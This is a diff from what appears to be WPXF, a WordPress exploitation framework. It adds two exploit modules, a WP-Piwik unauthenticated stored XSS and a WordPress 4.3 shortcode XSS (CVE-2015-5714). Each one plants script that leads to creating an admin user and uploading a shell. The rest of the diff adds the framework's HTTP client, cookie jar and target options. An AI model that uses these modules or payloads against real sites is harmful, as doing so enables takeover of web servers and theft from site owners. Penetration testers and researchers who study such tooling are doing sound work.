wpxf 2.0.0a

data/lib/wpxf/modules/exploit/xss/stored/wp_piwik_stored_xss_shell_upload.rb

@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::WpPiwikStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP-Piwik <= 1.0.10 Unauthenticated Stored XSS Shell Upload',
+      author: [
+        'White Fir Design', # Disclosure
+        'rastating'         # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8613'],
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/08/29/persistent-cross-site-scripting-xss-vulnerability-in-wp-piwik/']
+      ],
+      date: 'Sep 02 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-piwik', '1.0.11')
+  end
+
+  def store_script
+    execute_post_request(
+      url: full_uri,
+      body: {
+        'wp-piwik[track_mode]' => 'manually',
+        'wp-piwik[tracking_code]' => "<script>#{xss_include_script}</script>"
+      }
+    )
+  end
+end

data/lib/wpxf/modules/exploit/xss/stored/wp_v4.3_shortcode_xss_shell_upload.rb

@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::Wp43ShortcodeXssShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::WordPress::Xss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WordPress <= 4.3 Shortcode Stored XSS Shell Upload',
+      desc: 'In version 4.3 and below of WordPress, a stored XSS '\
+            'vulnerability exists that allows a user to store a script if '\
+            'they have the required permissions to publish a new post.'\
+            "\n"\
+            'This module prepares a shortcode that can be included in a post '\
+            'which when hovered over by an admin user will create '\
+            'a new admin user which will be used to upload and execute the '\
+            'selected payload in the context of the web server.',
+      author: [
+        'Shahar Tal',    # Discovery and disclosure
+        'Netanel Rubin', # Discovery and disclosure
+        'rastating'      # WPXF module
+      ],
+      references: [
+        ['CVE', '2015-5714'],
+        ['WPVDB', '8186'],
+        ['URL', 'https://wordpress.org/news/2015/09/wordpress-4-3-1/']
+      ],
+      date: 'Sept 15 2015'
+    )
+  end
+
+  def check
+    version = wordpress_version
+    return :unknown if version.nil?
+    return :vulnerable if version < Gem::Version.new('4.3.1')
+    :safe
+  end
+
+  def run
+    return false unless super
+
+    @success = false
+    emit_info 'Create a new post with the below shorttag included:'
+    puts
+    puts "[caption width=\"1\" caption='<a href=\"' \">]</a><a href=\""\
+         "http://onMouseOver='#{xss_ascii_encoded_include_script}'"\
+         '">Click Me</a>'
+    puts
+
+    start_http_server
+    @success
+  end
+end

data/lib/wpxf/net.rb

@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# The root namespace.
+module Wpxf
+  # The namespace for network related mixins and classes.
+  module Net
+  end
+end
+
+require 'wpxf/net/cookie_jar'
+require 'wpxf/net/user_agent'
+require 'wpxf/net/http_server'
+require 'wpxf/net/http_response'
+require 'wpxf/net/typhoeus_helper'
+require 'wpxf/net/http_options'
+require 'wpxf/net/http_client'

data/lib/wpxf/net/cookie_jar.rb

@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Net
+    # A Hash derivitive that provides cookie parsing functionality.
+    class CookieJar < Hash
+      # @return [String] a cookie string.
+      def to_s
+        map { |key, value| "#{key}=#{value};" }.join(' ')
+      end
+
+      # Parse a cookie into the {CookieJar}.
+      # @param cookie [String] the cookie to parse.
+      # @return [CookieJar] the {CookieJar}.
+      def parse_cookie(cookie)
+        key, value = cookie.split('; ').first.split('=', 2)
+        self[key] = value
+        self
+      end
+
+      # Parse one or more cookies into the {CookieJar}.
+      # @param cookies [Array, String] the cookies to parse.
+      # @return [CookieJar] the {CookieJar}.
+      def parse(cookies)
+        return self if cookies.nil?
+
+        if cookies.is_a? String
+          parse_cookie(cookies)
+        else
+          cookies.each { |s| parse_cookie(s) }
+        end
+
+        self
+      end
+    end
+  end
+end

data/lib/wpxf/net/http_client.rb

@@ -0,0 +1,206 @@
+# frozen_string_literal: true
+
+require 'uri'
+
+module Wpxf
+  module Net
+    # Provides HTTP client functionality.
+    module HttpClient
+      include Wpxf::Net::UserAgent
+      include Wpxf::Net::HttpOptions
+      include Wpxf::Net::TyphoeusHelper
+
+      # Initialize a new instance of {HttpClient}.
+      def initialize
+        super
+
+        initialize_options
+        initialize_advanced_options
+
+        @hydra = Typhoeus::Hydra.new(max_concurrency: max_http_concurrency)
+      end
+
+      # Initialize the basic HTTP options for the module.
+      def initialize_options
+        register_options([
+          HTTP_OPTION_HOST,
+          HTTP_OPTION_PORT,
+          HTTP_OPTION_SSL,
+          HTTP_OPTION_VHOST,
+          HTTP_OPTION_PROXY,
+          HTTP_OPTION_TARGET_URI
+        ])
+      end
+
+      # Initialize the advanced HTTP options for the module.
+      def initialize_advanced_options
+        register_advanced_options([
+          HTTP_OPTION_BASIC_AUTH_CREDS,
+          HTTP_OPTION_PROXY_AUTH_CREDS,
+          HTTP_OPTION_HOST_VERIFICATION,
+          HTTP_OPTION_MAX_CONCURRENCY,
+          HTTP_OPTION_CLIENT_TIMEOUT,
+          HTTP_OPTION_USER_AGENT,
+          HTTP_OPTION_FOLLOW_REDIRECT,
+          HTTP_OPTION_PEER_VERIFICATION
+        ])
+
+        set_option_value('user_agent', random_user_agent)
+      end
+
+      # @return [String] the base path to the WordPress application.
+      def target_uri
+        datastore['target_uri']
+      end
+
+      # @return [Integer] the target port number that the application is on.
+      def target_port
+        normalized_option_value('port')
+      end
+
+      # @return [String] the target host address.
+      def target_host
+        normalized_option_value('host')
+      end
+
+      # Normalize a URI to remove duplicated slashes and ensure a slash at
+      # the start of the string if it doesn't start with http:// or https://.
+      # @param parts the URI parts to join and normalize.
+      # @return [String] a normalized URI.
+      def normalize_uri(*parts)
+        path = parts * '/'
+        path = '/' + path unless path.start_with?('/', 'http://', 'https://')
+        url = URI.parse(path)
+        url.path.squeeze!('/')
+        url.to_s
+      end
+
+      # Returns the base URI string.
+      # @return [String] the base URI that the module targets.
+      def base_uri
+        uri_scheme = normalized_option_value('ssl') ? 'https' : 'http'
+        uri_port = target_port == 80 ? '' : ":#{target_port}"
+        "#{uri_scheme}://#{target_host}#{uri_port}"
+      end
+
+      # Returns the full URI string including the target path.
+      # @return [String] the full URI that the module targets.
+      def full_uri
+        normalize_uri(base_uri, target_uri)
+      end
+
+      # @return [Hash] the base headers to be used in HTTP requests.
+      def base_http_headers
+        headers = { 'User-Agent' => datastore['user_agent'] }
+
+        unless datastore['vhost'].nil? || datastore['vhost'].empty?
+          headers['Host'] = datastore['vhost']
+        end
+
+        headers
+      end
+
+      # Queue a HTTP request to be executed later by {#execute_queued_requests}.
+      # @param opts [Hash] a hash of request options.
+      # @param callback [Proc] a proc to call when the request is completed.
+      def queue_request(opts, &callback)
+        req = create_typhoeus_request(opts)
+        req.on_complete do |res|
+          callback.call(Wpxf::Net::HttpResponse.new(res)) if callback
+        end
+
+        @hydra.queue req
+        @hydra.queued_requests
+      end
+
+      # Execute multiple HTTP requests in parallel queued by {#queue_request}.
+      def execute_queued_requests
+        @hydra.run
+      end
+
+      # Execute a HTTP request.
+      # @param opts [Hash] a hash of request options.
+      # @return [HttpResponse, nil] a {Wpxf::Net::HttpResponse} or nil.
+      def execute_request(opts)
+        req = create_typhoeus_request(opts)
+        req.on_complete do |res|
+          return Wpxf::Net::HttpResponse.new(res)
+        end
+
+        emit_info "Requesting #{req.url}...", true
+        req.run
+      end
+
+      # Stream a response directly to a file (leaves the body attribute empty).
+      # @param opts [Hash] a hash of request options, local_filename being the
+      #   path to stream the response to.
+      # @return [HttpResponse, nil] a {Wpxf::Net::HttpResponse} or nil.
+      def download_file(opts)
+        target_file = File.open(opts[:local_filename], 'wb')
+        req = create_typhoeus_request(opts)
+
+        req.on_headers do |response|
+          return Wpxf::Net::HttpResponse.new(response) if response.code != 200
+        end
+
+        req.on_body do |chunk|
+          target_file.write(chunk)
+        end
+
+        req.on_complete do |response|
+          target_file.close
+          resp = Wpxf::Net::HttpResponse.new(response)
+          resp.body = File.read(opts[:local_filename])
+          return resp
+        end
+
+        req.run
+      end
+
+      # Execute a HTTP GET request.
+      # @param opts [Hash] a hash of request options.
+      # @return [HttpResponse, nil] a {Wpxf::Net::HttpResponse} or nil.
+      def execute_get_request(opts)
+        execute_request(opts.merge(method: :get))
+      end
+
+      # Execute a HTTP POST request.
+      # @param opts [Hash] a hash of request options.
+      # @return [HttpResponse, nil] a {Wpxf::Net::HttpResponse} or nil.
+      def execute_post_request(opts)
+        execute_request(opts.merge(method: :post))
+      end
+
+      # Execute a HTTP PUT request.
+      # @param opts [Hash] a hash of request options.
+      # @return [HttpResponse, nil] a {Wpxf::Net::HttpResponse} or nil.
+      def execute_put_request(opts)
+        execute_request(opts.merge(method: :put))
+      end
+
+      # Execute a HTTP DELETE request.
+      # @param opts [Hash] a hash of request options.
+      # @return [HttpResponse, nil] a {Wpxf::Net::HttpResponse} or nil.
+      def execute_delete_request(opts)
+        execute_request(opts.merge(method: :delete))
+      end
+
+      # @return [Integer] the maximum number of threads to use when using
+      #   {#execute_queued_requests}.
+      def max_http_concurrency
+        normalized_option_value('max_http_concurrency')
+      end
+
+      # Normalize a relative URI into an absolute URL.
+      # @param uri [String] the relative or absolute URI.
+      # @return [String] the absolute URL.
+      def normalize_relative_uri(uri)
+        if uri.start_with?('/')
+          normalize_uri(full_uri, uri)
+        else
+          uri
+        end
+      end
+    end
+  end
+end

data/lib/wpxf/net/http_options.rb

@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Net
+    # Provides access to various HTTP based options.
+    module HttpOptions
+      HTTP_OPTION_HOST = StringOption.new(
+        name: 'host',
+        desc: 'Address of the target host.',
+        required: true
+      )
+
+      HTTP_OPTION_PORT = PortOption.new(
+        name: 'port',
+        desc: 'Port the remote host is listening on',
+        required: true,
+        default: 80
+      )
+
+      HTTP_OPTION_SSL = BooleanOption.new(
+        name: 'ssl',
+        desc: 'Use SSL/HTTPS for all requests',
+        required: true,
+        default: false
+      )
+
+      HTTP_OPTION_VHOST = StringOption.new(
+        name: 'vhost',
+        desc: 'HTTP server virtual host'
+      )
+
+      HTTP_OPTION_PROXY = StringOption.new(
+        name: 'proxy',
+        desc: 'Proxy address ([protocol://]host:port)'
+      )
+
+      HTTP_OPTION_TARGET_URI = StringOption.new(
+        name: 'target_uri',
+        desc: 'Base path to the WordPress application',
+        required: true,
+        default: '/'
+      )
+
+      HTTP_OPTION_BASIC_AUTH_CREDS = StringOption.new(
+        name: 'basic_auth_creds',
+        desc: 'HTTP basic auth credentials (username:password)'
+      )
+
+      HTTP_OPTION_PROXY_AUTH_CREDS = StringOption.new(
+        name: 'proxy_auth_creds',
+        desc: 'Proxy server credentials (username:password)'
+      )
+
+      HTTP_OPTION_HOST_VERIFICATION = BooleanOption.new(
+        name: 'verify_host',
+        desc: 'Enable host verification when using HTTPS',
+        required: true,
+        default: true
+      )
+
+      HTTP_OPTION_PEER_VERIFICATION = BooleanOption.new(
+        name: 'verify_peer',
+        desc: 'Enable peer verification when using HTTPS',
+        required: true,
+        default: true
+      )
+
+      HTTP_OPTION_MAX_CONCURRENCY = IntegerOption.new(
+        name: 'max_http_concurrency',
+        desc: 'Max number of HTTP requests that can be made in '\
+              'parallel (Min: 1, Max: 200)',
+        required: true,
+        default: 20,
+        min: 1,
+        max: 200
+      )
+
+      HTTP_OPTION_CLIENT_TIMEOUT = IntegerOption.new(
+        name: 'http_client_timeout',
+        desc: 'Max wait time in seconds for HTTP responses',
+        default: 30,
+        required: true
+      )
+
+      HTTP_OPTION_USER_AGENT = StringOption.new(
+        name: 'user_agent',
+        desc: 'The user agent string to send with all requests'
+      )
+
+      HTTP_OPTION_FOLLOW_REDIRECT = BooleanOption.new(
+        name: 'follow_http_redirection',
+        desc: 'Automatically follow HTTP redirections',
+        required: true,
+        default: true
+      )
+    end
+  end
+end